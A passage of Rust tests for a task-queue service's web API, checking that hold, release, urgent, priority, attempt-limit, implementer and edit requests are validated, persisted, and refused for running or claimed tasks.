17751        let task = flow_task(&[RUN_X, RUN_X]);
17752        let h = task_history(&task, |_| Some(run.clone()));
17753        assert_eq!(h[0].exit, RunExit::Interrupted);
17754        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17755        assert!(
17756            h[0].outcome.contains("without recording why"),
17757            "{}",
17758            h[0].outcome
17759        );
17760        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17761        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17762    }
17763
17764    #[test]
17765    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17766        use crate::queue::PassCost;
17767        // Three entries, but the run only began keeping passes at the last
17768        // two: the first is legacy and must not be given a cause.
17769        let run = flow_run(RunStatus::Implementing, |s| {
17770            s.passes = vec![
17771                recorded_pass(0, parked(upgrade_cause())),
17772                recorded_pass(1, None),
17773            ];
17774        });
17775        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17776        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17777        let h = task_history(&task, |_| Some(run.clone()));
17778        assert!(h[0].pass.is_none());
17779        assert_eq!(h[0].exit, RunExit::Interrupted);
17780        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17781        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17782        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17783        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17784        // A run with no passes at all is entirely unknown.
17785        let legacy = flow_run(RunStatus::Implementing, |_| {});
17786        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17787        assert!(h.iter().all(|v| v.pass.is_none()));
17788        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17789    }
17790
17791    #[test]
17792    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17793        use crate::queue::PassCost;
17794        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17795        // task. The two entries are passes 0 and 2.
17796        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17797        web.task_entry = false;
17798        let run = flow_run(RunStatus::Implementing, |s| {
17799            s.passes = vec![
17800                recorded_pass(0, parked(upgrade_cause())),
17801                web.clone(),
17802                recorded_pass(2, None),
17803            ];
17804        });
17805        let mut task = flow_task(&[RUN_X, RUN_X]);
17806        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17807        let h = task_history(&task, |_| Some(run.clone()));
17808        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17809        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17810
17811        // Legacy first entry, then a web resume that parked for an upgrade,
17812        // then the daemon's pass: the legacy entry must stay unknown.
17813        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17814        web0.task_entry = false;
17815        let run = flow_run(RunStatus::Implementing, |s| {
17816            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17817        });
17818        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17819        assert!(h[0].pass.is_none());
17820        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17821        assert!(h[1].pass.is_some());
17822    }
17823
17824    #[tokio::test]
17825    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17826        let dir = tempfile::tempdir().unwrap();
17827        let queue = Queue::at(dir.path().join("queue"));
17828        let ui = Arc::new(Ui::new(
17829            queue.clone(),
17830            Questions::at(dir.path().join("questions")),
17831            Talks::at(dir.path().join("talks")),
17832            dir.path().join("runs"),
17833            dir.path().to_path_buf(),
17834            dir.path().to_path_buf(),
17835        ));
17836        let mut t = Task::new(
17837            "recover".into(),
17838            "Inspect".into(),
17839            PathBuf::from("."),
17840            Source::Human,
17841        );
17842        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17843        t.start("run-A".into());
17844        t.release_operator("choice", Some("resume-question"));
17845        t.resume_override = Some(crate::queue::OperatorResume {
17846            question_id: "resume-question".into(),
17847            at: jiff::Timestamp::now(),
17848            conductor_rehold: None,
17849            forced: true,
17850            pinned_run: Some("run-A".into()),
17851        });
17852        t.hold_machine(Some("inspection pending".into()));
17853        t.edit("recover".into(), "Reuse approved PR head".into())
17854            .unwrap();
17855        queue.put(&mut t).unwrap();
17856        let mut cli = t.clone();
17857        cli.release_operator("cli", None);
17858        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17859        let reloaded = queue.get(&t.id).unwrap();
17860        assert_eq!(reply.task.status, TaskStatus::Queued);
17861        assert!(reloaded.resume_override.is_none());
17862        assert_eq!(reloaded.answers, t.answers);
17863        let mut web = reloaded.resumption.unwrap();
17864        let cli = cli.resumption.unwrap();
17865        assert_eq!(web.source, "web");
17866        web.source = cli.source.clone();
17867        web.at = cli.at;
17868        assert_eq!(web, cli);
17869    }
17870
17871    #[tokio::test]
17872    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17873        let f = Fixture::start().await;
17874        let queue = f.queue();
17875        let mut task = Task::new(
17876            "spent".to_owned(),
17877            "Try again".to_owned(),
17878            PathBuf::from("/repo/magi"),
17879            Source::Human,
17880        );
17881        task.start("20260902-140502-bbbb".to_owned());
17882        task.fail("agent gave up", 9);
17883        queue.put(&mut task).expect("file the task");
17884
17885        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17886        assert_eq!(held.status, 200);
17887        assert_eq!(held.json()["status_str"], "held");
17888
17889        let released = f
17890            .post(&format!("/api/queue/{}/release", task.id), None)
17891            .await;
17892        assert_eq!(released.status, 200);
17893        assert_eq!(released.json()["status_str"], "queued");
17894        assert_eq!(released.json()["resumption"]["source"], "web");
17895        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17896        let mut cli = task.clone();
17897        cli.release_operator("cli", None);
17898        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17899        let cli = cli.resumption.unwrap();
17900        assert_eq!(web.instruction, cli.instruction);
17901        assert_eq!(web.answers_through, cli.answers_through);
17902        assert_eq!(web.runs_through, cli.runs_through);
17903        assert_eq!(web.cleared_reason, cli.cleared_reason);
17904        assert_eq!(
17905            released.json()["attempts"],
17906            0,
17907            "release is a real second chance, not an instant re-hold"
17908        );
17909        assert_eq!(
17910            queue.get(&task.id).expect("reload").status,
17911            TaskStatus::Queued,
17912            "the change is on disk, not only in the reply"
17913        );
17914        assert!(
17915            !f.home
17916                .path()
17917                .join("queue")
17918                .join(format!("{}.lock", task.id))
17919                .exists(),
17920            "the claim the mutation took is released again"
17921        );
17922    }
17923
17924    #[tokio::test]
17925    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17926        let f = Fixture::start().await;
17927        let queue = f.queue();
17928        let mut task = Task::new(
17929            "busy".to_owned(),
17930            "Running right now".to_owned(),
17931            PathBuf::from("/repo/magi"),
17932            Source::Human,
17933        );
17934        queue.put(&mut task).expect("file the task");
17935        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17936
17937        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17938
17939        assert_eq!(res.status, 409);
17940        assert_eq!(
17941            queue.get(&task.id).expect("reload").status,
17942            TaskStatus::Queued,
17943            "the refused hold changed nothing"
17944        );
17945    }
17946
17947    #[tokio::test]
17948    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17949        let f = Fixture::start().await;
17950        let queue = f.queue();
17951        let mut task = Task::new(
17952            "waiting on the migration".to_owned(),
17953            "Do the thing".to_owned(),
17954            PathBuf::from("/repo/magi"),
17955            Source::Human,
17956        );
17957        queue.put(&mut task).expect("file the task");
17958
17959        let held = f
17960            .post(
17961                &format!("/api/queue/{}/hold", task.id),
17962                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17963            )
17964            .await;
17965        assert_eq!(held.status, 200, "{}", held.body);
17966        assert_eq!(held.json()["status_str"], "held");
17967        assert_eq!(
17968            held.json()["hold_reason"],
17969            "waiting for 20260101-000000-aaaa to land"
17970        );
17971
17972        let listed = f.get("/api/queue").await.json();
17973        assert_eq!(
17974            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17975            "the card reads the reason off the same list route"
17976        );
17977
17978        // A hold with no body at all must keep working - most holds have no
17979        // reason to give.
17980        let mut plain = Task::new(
17981            "no reason given".to_owned(),
17982            "Do another thing".to_owned(),
17983            PathBuf::from("/repo/magi"),
17984            Source::Human,
17985        );
17986        queue.put(&mut plain).expect("file the task");
17987        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17988        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17989        assert!(held_plain.json()["hold_reason"].is_null());
17990
17991        let released = f
17992            .post(&format!("/api/queue/{}/release", task.id), None)
17993            .await;
17994        assert_eq!(released.status, 200);
17995        assert!(
17996            released.json()["hold_reason"].is_null(),
17997            "a release must clear the reason so the next hold does not inherit it"
17998        );
17999    }
18000
18001    #[test]
18002    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18003        for urgent in [true, false] {
18004            let body: UrgentBody =
18005                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18006            assert_eq!(body.urgent, urgent);
18007        }
18008        for input in [
18009            r#"{}"#,
18010            r#"{"urgent":null}"#,
18011            r#"{"urgent":"true"}"#,
18012            r#"{"urgent":1}"#,
18013            r#"{"urgent":true,"extra":false}"#,
18014        ] {
18015            assert!(
18016                serde_json::from_str::<UrgentBody>(input).is_err(),
18017                "{input}"
18018            );
18019        }
18020    }
18021
18022    #[tokio::test]
18023    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18024        let home = TempDir::new().unwrap();
18025        let q = Queue::at(home.path().join("queue"));
18026        let ui = Arc::new(Ui::new(
18027            q.clone(),
18028            Questions::at(home.path().join("questions")),
18029            Talks::at(home.path().join("talks")),
18030            home.path().join("runs"),
18031            home.path().into(),
18032            home.path().into(),
18033        ));
18034        let mut task = Task::new(
18035            "urgent handler".into(),
18036            "keep".into(),
18037            home.path().into(),
18038            Source::Human,
18039        );
18040        for status in [TaskStatus::Queued, TaskStatus::Held] {
18041            task.status = status;
18042            q.put(&mut task).unwrap();
18043            for urgent in [true, true, false, false] {
18044                let saved = queue_urgent(
18045                    State(Arc::clone(&ui)),
18046                    Path(task.short().into()),
18047                    Ok(Json(UrgentBody { urgent })),
18048                )
18049                .await
18050                .unwrap();
18051                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18052                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18053            }
18054        }
18055        task.status = TaskStatus::Queued;
18056        q.put(&mut task).unwrap();
18057        let claim = q.claim(&task.id).unwrap();
18058        let error = queue_urgent(
18059            State(Arc::clone(&ui)),
18060            Path(task.id.clone()),
18061            Ok(Json(UrgentBody { urgent: true })),
18062        )
18063        .await
18064        .unwrap_err();
18065        assert_eq!(error.status, StatusCode::CONFLICT);
18066        assert!(error.message.contains("released"));
18067        drop(claim);
18068        for status in [
18069            TaskStatus::Running,
18070            TaskStatus::Done,
18071            TaskStatus::Failed,
18072            TaskStatus::Blocked,
18073            TaskStatus::Parked,
18074        ] {
18075            task.status = status;
18076            q.put(&mut task).unwrap();
18077            let error = queue_urgent(
18078                State(Arc::clone(&ui)),
18079                Path(task.id.clone()),
18080                Ok(Json(UrgentBody { urgent: false })),
18081            )
18082            .await
18083            .unwrap_err();
18084            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18085            assert!(error.message.contains(status.as_str()));
18086        }
18087    }
18088
18089    #[tokio::test]
18090    async fn urgent_api_updates_preserves_and_validates_tasks() {
18091        let f = Fixture::start().await;
18092        let q = f.queue();
18093        let mut t = Task::new(
18094            "urgent API".into(),
18095            "unchanged".into(),
18096            PathBuf::from("/repo/magi"),
18097            Source::Human,
18098        );
18099        t.attempts = 2;
18100        t.priority = 9;
18101        t.interrupt = true;
18102        t.hold_reason = Some("waiting for approval".into());
18103        for status in [TaskStatus::Queued, TaskStatus::Held] {
18104            t.status = status;
18105            q.put(&mut t).unwrap();
18106            for urgent in [true, true, false, false] {
18107                let response = f
18108                    .post(
18109                        &format!("/api/queue/{}/urgent", t.short()),
18110                        Some(&format!("{{\"urgent\":{urgent}}}")),
18111                    )
18112                    .await;
18113                assert_eq!(response.status, 200, "{}", response.body);
18114                assert_eq!(response.json()["urgent"], urgent);
18115                let saved = q.get(&t.id).unwrap();
18116                let mut before = serde_json::to_value(&t).unwrap();
18117                let mut after = serde_json::to_value(saved).unwrap();
18118                before["urgent"] = urgent.into();
18119                before.as_object_mut().unwrap().remove("updated_at");
18120                after.as_object_mut().unwrap().remove("updated_at");
18121                assert_eq!(after, before);
18122            }
18123        }
18124        let route = format!("/api/queue/{}/urgent", t.id);
18125        for body in [
18126            r#"{}"#,
18127            r#"{"urgent":null}"#,
18128            r#"{"urgent":"true"}"#,
18129            r#"{"urgent":1}"#,
18130            r#"{"urgent":true,"extra":false}"#,
18131            "{",
18132        ] {
18133            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18134        }
18135        t.status = TaskStatus::Queued;
18136        q.put(&mut t).unwrap();
18137        let claim = q.claim(&t.id).unwrap();
18138        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18139        assert_eq!(response.status, 409, "{}", response.body);
18140        assert!(!q.get(&t.id).unwrap().urgent);
18141        drop(claim);
18142        for status in [
18143            TaskStatus::Running,
18144            TaskStatus::Done,
18145            TaskStatus::Failed,
18146            TaskStatus::Blocked,
18147            TaskStatus::Parked,
18148        ] {
18149            t.status = status;
18150            q.put(&mut t).unwrap();
18151            for urgent in [true, false] {
18152                let response = f
18153                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18154                    .await;
18155                assert_eq!(response.status, 400, "{}", response.body);
18156                assert!(response.body.contains(status.as_str()));
18157                assert!(response.body.contains("queued or held"));
18158                assert!(!q.get(&t.id).unwrap().urgent);
18159            }
18160        }
18161        assert_eq!(
18162            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18163                .await
18164                .status,
18165            404
18166        );
18167    }
18168
18169    #[tokio::test]
18170    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18171        let f = Fixture::start().await;
18172        let queue = f.queue();
18173        let mut older = Task::new(
18174            "filed first".to_owned(),
18175            "x".to_owned(),
18176            PathBuf::from("/repo/magi"),
18177            Source::Human,
18178        );
18179        older.id = "20260101-000001-aaaa".to_owned();
18180        let mut newer = Task::new(
18181            "filed second".to_owned(),
18182            "x".to_owned(),
18183            PathBuf::from("/repo/magi"),
18184            Source::Human,
18185        );
18186        newer.id = "20260101-000002-bbbb".to_owned();
18187        queue.put(&mut older).expect("file older");
18188        queue.put(&mut newer).expect("file newer");
18189
18190        // Equal priority: the newer task leads, the same order the old
18191        // newest-first `list()` already gave every equal-priority queue.
18192        let before = f.get("/api/queue").await.json();
18193        assert_eq!(before[0]["id"], newer.id);
18194        assert_eq!(before[1]["id"], older.id);
18195
18196        // Raising the *older* task is the meaningful case: it can only lead
18197        // now because its priority says so, not because it happens to be
18198        // newest.
18199        let raised = f
18200            .post(
18201                &format!("/api/queue/{}/priority", older.id),
18202                Some(r#"{"priority":10}"#),
18203            )
18204            .await;
18205        assert_eq!(raised.status, 200, "{}", raised.body);
18206        assert_eq!(raised.json()["priority"], 10);
18207
18208        let after = f.get("/api/queue").await.json();
18209        let names: Vec<&str> = after
18210            .as_array()
18211            .unwrap()
18212            .iter()
18213            .map(|t| t["id"].as_str().unwrap())
18214            .collect();
18215        // Highest priority first, which is the order next_runnable and
18216        // `magi task list` both use - GET /api/queue must agree with it
18217        // immediately, not just once the loop claims the task.
18218        assert_eq!(names[0], older.id, "the raised task now sorts first");
18219    }
18220
18221    #[tokio::test]
18222    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18223        let f = Fixture::start().await;
18224        let queue = f.queue();
18225        let mut tasks = Vec::new();
18226        for id in [
18227            "20260101-000001-aaaa",
18228            "20260101-000002-bbbb",
18229            "20260101-000003-cccc",
18230        ] {
18231            let mut task = Task::new(
18232                id.into(),
18233                "x".into(),
18234                PathBuf::from("/repo/magi"),
18235                Source::Human,
18236            );
18237            task.id = id.into();
18238            queue.put(&mut task).unwrap();
18239            tasks.push(task);
18240        }
18241        assert_eq!(
18242            queue.next_runnable().unwrap().id,
18243            tasks[0].id,
18244            "equal priorities use ascending id"
18245        );
18246        let route = format!("/api/queue/{}/priority", tasks[2].id);
18247        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18248        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18249        tasks[1].start("upgrade-run".into());
18250        tasks[1].park("upgrade");
18251        tasks[1].record_pass_at(
18252            "upgrade-run",
18253            0,
18254            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18255            1,
18256            Some(crate::run::ParkCause::Upgrade {
18257                from: "old".into(),
18258                to: None,
18259            }),
18260        );
18261        queue.put(&mut tasks[1]).unwrap();
18262        let rows = f.get("/api/queue").await.json();
18263        let upgrade = rows
18264            .as_array()
18265            .unwrap()
18266            .iter()
18267            .find(|row| row["id"] == tasks[1].id)
18268            .unwrap();
18269        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18270        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18271        tasks[2] = queue.get(&tasks[2].id).unwrap();
18272        tasks[2].start("running-run".into());
18273        queue.put(&mut tasks[2]).unwrap();
18274        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18275        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18276    }
18277
18278    #[tokio::test]
18279    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18280        let dir = TempDir::new().unwrap();
18281        let q = Queue::at(dir.path().join("queue"));
18282        let ui = Arc::new(Ui::new(
18283            q.clone(),
18284            Questions::at(dir.path().join("questions")),
18285            Talks::at(dir.path().join("talks")),
18286            dir.path().join("runs"),
18287            dir.path().to_path_buf(),
18288            dir.path().to_path_buf(),
18289        ));
18290        let mut t = Task::new(
18291            "budget".into(),
18292            "keep".into(),
18293            dir.path().into(),
18294            Source::Human,
18295        );
18296        t.attempts = 2;
18297        t.runs.push("prior-run".into());
18298        t.hold_manual(Some("waiting".into()));
18299        q.put(&mut t).unwrap();
18300        let change = |value| {
18301            queue_attempt_limit(
18302                State(ui.clone()),
18303                Path(t.id.clone()),
18304                Ok(Json(AttemptLimitBody {
18305                    attempt_limit: value,
18306                })),
18307            )
18308        };
18309        for value in [
18310            serde_json::json!(3),
18311            serde_json::Value::Null,
18312            serde_json::json!(1),
18313        ] {
18314            let response = change(value.clone()).await.unwrap();
18315            assert_eq!(
18316                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18317                value
18318            );
18319            let saved = q.get(&t.id).unwrap();
18320            assert_eq!(
18321                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18322                value
18323            );
18324            assert_eq!(saved.status, TaskStatus::Held);
18325            assert_eq!(saved.attempts, t.attempts);
18326            assert_eq!(saved.runs, t.runs);
18327            assert_eq!(saved.hold_reason, t.hold_reason);
18328            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18329                .await
18330                .unwrap()
18331                .0;
18332            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18333            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18334            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18335            assert_eq!(outcome.max_attempts, detail.max_attempts);
18336        }
18337        for value in [
18338            serde_json::json!(0),
18339            serde_json::json!(-1),
18340            serde_json::json!(1.5),
18341            serde_json::json!("3"),
18342            serde_json::json!(true),
18343        ] {
18344            assert_eq!(
18345                change(value).await.err().unwrap().status,
18346                StatusCode::BAD_REQUEST
18347            );
18348        }
18349        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18350        let claim = q.claim(&t.id).unwrap();
18351        assert_eq!(
18352            change(serde_json::json!(4)).await.err().unwrap().status,
18353            StatusCode::CONFLICT
18354        );
18355        drop(claim);
18356        for status in [
18357            TaskStatus::Running,
18358            TaskStatus::Done,
18359            TaskStatus::Failed,
18360            TaskStatus::Blocked,
18361            TaskStatus::Parked,
18362        ] {
18363            let mut stored = q.get(&t.id).unwrap();
18364            stored.status = status;
18365            q.put(&mut stored).unwrap();
18366            assert_eq!(
18367                change(serde_json::json!(4)).await.err().unwrap().status,
18368                StatusCode::BAD_REQUEST
18369            );
18370            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18371        }
18372        let mut stored = q.get(&t.id).unwrap();
18373        stored.status = TaskStatus::Queued;
18374        q.put(&mut stored).unwrap();
18375        let _ = change(serde_json::Value::Null).await.unwrap();
18376        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18377    }
18378
18379    #[tokio::test]
18380    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18381        let dir = TempDir::new().unwrap();
18382        let repo = dir.path().join("repo");
18383        std::fs::create_dir(&repo).unwrap();
18384        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18385        let q = Queue::at(dir.path().join("queue"));
18386        let ui = Arc::new(Ui::new(
18387            q.clone(),
18388            Questions::at(dir.path().join("questions")),
18389            Talks::at(dir.path().join("talks")),
18390            dir.path().join("runs"),
18391            dir.path().to_path_buf(),
18392            repo.clone(),
18393        ));
18394        let mut t = Task::new(
18395            "seats".into(),
18396            "keep instruction".into(),
18397            repo,
18398            Source::Human,
18399        );
18400        t.runs.push("prior-run".into());
18401        t.hold_manual(Some("waiting".into()));
18402        q.put(&mut t).unwrap();
18403        let change = |count| {
18404            queue_implementers(
18405                State(ui.clone()),
18406                Path(t.id.clone()),
18407                Ok(Json(ImplementersBody {
18408                    implementers: count,
18409                })),
18410            )
18411        };
18412        for count in [2, 1, 2] {
18413            let response = change(count).await.unwrap();
18414            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18415            let saved = q.get(&t.id).unwrap();
18416            assert_eq!(saved.implementers(), Some(usize::from(count)));
18417            assert_eq!(saved.runs, t.runs);
18418            assert_eq!(saved.instruction, t.instruction);
18419        }
18420        for count in [0, 4] {
18421            assert_eq!(
18422                change(count).await.err().unwrap().status,
18423                StatusCode::BAD_REQUEST
18424            );
18425        }
18426        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18427        let claim = q.claim(&t.id).unwrap();
18428        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18429        drop(claim);
18430        for status in [
18431            TaskStatus::Running,
18432            TaskStatus::Done,
18433            TaskStatus::Failed,
18434            TaskStatus::Blocked,
18435            TaskStatus::Parked,
18436        ] {
18437            let mut stored = q.get(&t.id).unwrap();
18438            stored.status = status;
18439            q.put(&mut stored).unwrap();
18440            assert_eq!(
18441                change(1).await.err().unwrap().status,
18442                StatusCode::BAD_REQUEST
18443            );
18444            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18445        }
18446    }
18447
18448    #[tokio::test]
18449    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18450        let f = Fixture::start().await;
18451        let queue = f.queue();
18452        let mut task = Task::new(
18453            "in flight".to_owned(),
18454            "x".to_owned(),
18455            PathBuf::from("/repo/magi"),
18456            Source::Human,
18457        );
18458        task.start("20260902-140502-bbbb".to_owned());
18459        queue.put(&mut task).expect("file the task");
18460
18461        let res = f
18462            .post(
18463                &format!("/api/queue/{}/priority", task.id),
18464                Some(r#"{"priority":9}"#),
18465            )
18466            .await;
18467        assert_eq!(res.status, 400, "{}", res.body);
18468        assert!(
18469            res.json()["error"]
18470                .as_str()
18471                .is_some_and(|e| e.contains("running")),
18472            "{}",
18473            res.body
18474        );
18475        assert_eq!(
18476            queue.get(&task.id).expect("reload").priority,
18477            0,
18478            "the refused write must not partially apply"
18479        );
18480    }
18481
18482    #[tokio::test]
18483    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18484        let f = Fixture::start().await;
18485        let queue = f.queue();
18486        let mut task = Task::new(
18487            "old title".to_owned(),
18488            "old instruction".to_owned(),
18489            PathBuf::from("/repo/magi"),
18490            Source::Agent {
18491                run: "20260101-000000-beef".to_owned(),
18492                node: "implement".to_owned(),
18493            },
18494        );
18495        task.runs.push("20260101-000000-beef".to_owned());
18496        queue.put(&mut task).expect("file the task");
18497        let created_at = task.created_at;
18498
18499        let edited = f
18500            .post(
18501                &format!("/api/queue/{}/edit", task.id),
18502                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18503            )
18504            .await;
18505        assert_eq!(edited.status, 200, "{}", edited.body);
18506        let body = edited.json();
18507        assert_eq!(body["title"], "new title");
18508        assert_eq!(body["instruction"], "new instruction");
18509        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18510        assert_eq!(body["created_at"], created_at.to_string());
18511        assert_eq!(
18512            body["source"]["kind"], "agent",
18513            "editing a task an agent filed must not turn it human: {body}"
18514        );
18515        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18516
18517        let reloaded = queue.get(&task.id).expect("reload");
18518        assert_eq!(reloaded.title, "new title");
18519        assert_eq!(reloaded.instruction, "new instruction");
18520    }
18521
18522    #[tokio::test]
18523    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18524        // The judge is an agent now: a repo whose only agent answers
18525        // "duplicate" stands in for it, so the refusal is the judge's.
18526        let tmp = TempDir::new().expect("tempdir");
18527        let repo = tmp.path().join("repo");
18528        std::fs::create_dir_all(&repo).expect("repo dir");
18529        let judge = MOCK_AGENT_TOML.replace(
18530            "printf ok",
18531            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18532        );
18533        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18534        let f = Fixture::with_repo(repo.clone()).await;
18535        let queue = f.queue();
18536        let mut owner = Task::new(
18537            "owner".to_owned(),
18538            "review it".to_owned(),
18539            repo.clone(),
18540            Source::Human,
18541        );
18542        owner.review_branch = Some("magi/ab12/A".to_owned());
18543        queue.put(&mut owner).expect("file the owner");
18544        let mut task = Task::new(
18545            "draft".to_owned(),
18546            "old".to_owned(),
18547            repo.clone(),
18548            Source::Human,
18549        );
18550        queue.put(&mut task).expect("file the draft");
18551        let url = format!("/api/queue/{}/edit", task.id);
18552
18553        let refused = f
18554            .post(
18555                &url,
18556                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18557            )
18558            .await;
18559        assert_eq!(refused.status, 409, "{}", refused.body);
18560        let msg = refused.json()["error"]
18561            .as_str()
18562            .unwrap_or_default()
18563            .to_owned();
18564        assert!(
18565            msg.contains("magi/ab12/A") && msg.contains("force"),
18566            "{msg}"
18567        );
18568        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18569
18570        let forced = f
18571            .post(
18572                &url,
18573                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18574            )
18575            .await;
18576        assert_eq!(forced.status, 200, "{}", forced.body);
18577    }
18578
18579    #[tokio::test]
18580    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18581        let f = Fixture::start().await;
18582        let queue = f.queue();
18583        let mut task = Task::new(
18584            "in flight".to_owned(),
18585            "do not touch".to_owned(),
18586            PathBuf::from("/repo/magi"),
18587            Source::Human,
18588        );
18589        task.start("20260902-140502-bbbb".to_owned());
18590        queue.put(&mut task).expect("file the task");
18591
18592        let res = f
18593            .post(
18594                &format!("/api/queue/{}/edit", task.id),
18595                Some(r#"{"title":"x","instruction":"y"}"#),
18596            )
18597            .await;
18598        assert_eq!(res.status, 400, "{}", res.body);
18599        assert!(
18600            res.json()["error"]
18601                .as_str()
18602                .is_some_and(|e| e.contains("running")),
18603            "{}",
18604            res.body
18605        );
18606        assert_eq!(
18607            queue.get(&task.id).expect("reload").instruction,
18608            "do not touch",
18609            "the refused edit must not change the file"
18610        );
18611    }
18612
18613    #[tokio::test]
18614    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18615        let f = Fixture::start().await;
18616        let queue = f.queue();
18617        let mut task = Task::new(
18618            "busy".to_owned(),
18619            "Running right now".to_owned(),
18620            PathBuf::from("/repo/magi"),
18621            Source::Human,
18622        );
18623        queue.put(&mut task).expect("file the task");
18624        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18625
18626        let priority = f
18627            .post(
18628                &format!("/api/queue/{}/priority", task.id),
18629                Some(r#"{"priority":9}"#),
18630            )
18631            .await;
18632        assert_eq!(priority.status, 409, "{}", priority.body);
18633
18634        let edit = f
18635            .post(
18636                &format!("/api/queue/{}/edit", task.id),
18637                Some(r#"{"title":"x","instruction":"y"}"#),
18638            )
18639            .await;
18640        assert_eq!(edit.status, 409, "{}", edit.body);
18641    }
18642
18643    #[tokio::test]
18644    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
18645        let f = Fixture::start().await;
18646        let queue = f.queue();
18647        let mut task = Task::new(
18648            "claimed".into(),
18649            "leave unchanged".into(),
18650            f.home.path().into(),
18651            Source::Human,
18652        );
18653        queue.put(&mut task).unwrap();
18654        let _claim = queue.claim(&task.id).unwrap();
18655        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
18656            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
18657            assert_eq!(missing.status, 404, "{}", missing.body);
18658            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
18659
18660            let busy = f
18661                .post(&format!("/api/queue/{}/{action}", task.short()), body)
18662                .await;
